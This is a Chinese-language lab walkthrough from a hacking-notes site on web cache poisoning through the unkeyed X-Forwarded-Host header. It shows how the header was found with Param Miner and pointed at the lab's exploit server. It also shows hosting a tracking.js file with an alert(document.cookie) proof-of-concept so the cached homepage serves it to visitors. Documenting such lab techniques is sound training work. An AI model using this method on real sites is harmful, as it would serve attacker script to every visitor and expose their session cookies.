> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/web-cache-poisoning-with-unkeyed-header.md).
# 利用未参与缓存键的头进行缓存投毒
### 带有未键控头部的 Web 缓存投毒
该应用程序存在以下漏洞： **Web 缓存投毒** 因为它对来自以下来源的条目处理不当： **未键控头部**. / 一位合法用户会定期访问该网站主页。
\*\*目标：\*\*/ 使缓存中毒，从而让主页返回一个会执行的响应 `alert(document.cookie)` 在受害者的浏览器中。
**缓存行为分析**
* 在拦截主页面请求时，响应中观察到一个 **`Age`** 参数，表明该资源已被缓存 **30 秒**.
* 在 URL 中添加一个任意参数，例如 `?test=1`，可显示：
* 缓存键会被重新生成。
* 缓存内容可能会被修改，并在缓存期间提供给其他用户。
如果成功污染根响应（`/`），任何访问者都会在这 30 秒内看到这些恶意内容
**在 Burp Suite 中搜索可利用的头部：**
* 使用 **Param Miner** ：
* 由于 **重放器**，该函数 **猜测头部** 被使用。
该扩展检测到头绑定缓存存在投毒行为 **`X-Forwarded-Host`**.
**未索引头部操作**
* 向请求中添加了以下头部：
```http
X-Forwarded-Host: test.com
```
* 然后响应中包含从该域加载的 JavaScript 资源。
* 重新加载时，应用程序总是尝试获取该脚本，这证实了该响应已被缓存。
**重定向到运行服务器**
* 头部值被替换为运行 **服务器域名**:
```http
X-Forwarded-Host: exploit-0a1c0025035a473c807ce8e901e3001a.exploit-server.net
```
然后应用程序会尝试加载以下资源：
**恶意载荷注入**
* 在运行服务器上，你创建文件：
```javascript
/resources/js/tracking.js
```
文件内容：
```javascript
alert(document.cookie)
```
* 该脚本现在已包含在缓存的响应中。
**结果**
* 当用户在缓存有效期内访问主页时：
* 浏览器加载了投毒脚本。
* 出现一个对话框，内容为 `document.cookie`.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/web-cache-poisoning-with-unkeyed-header.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.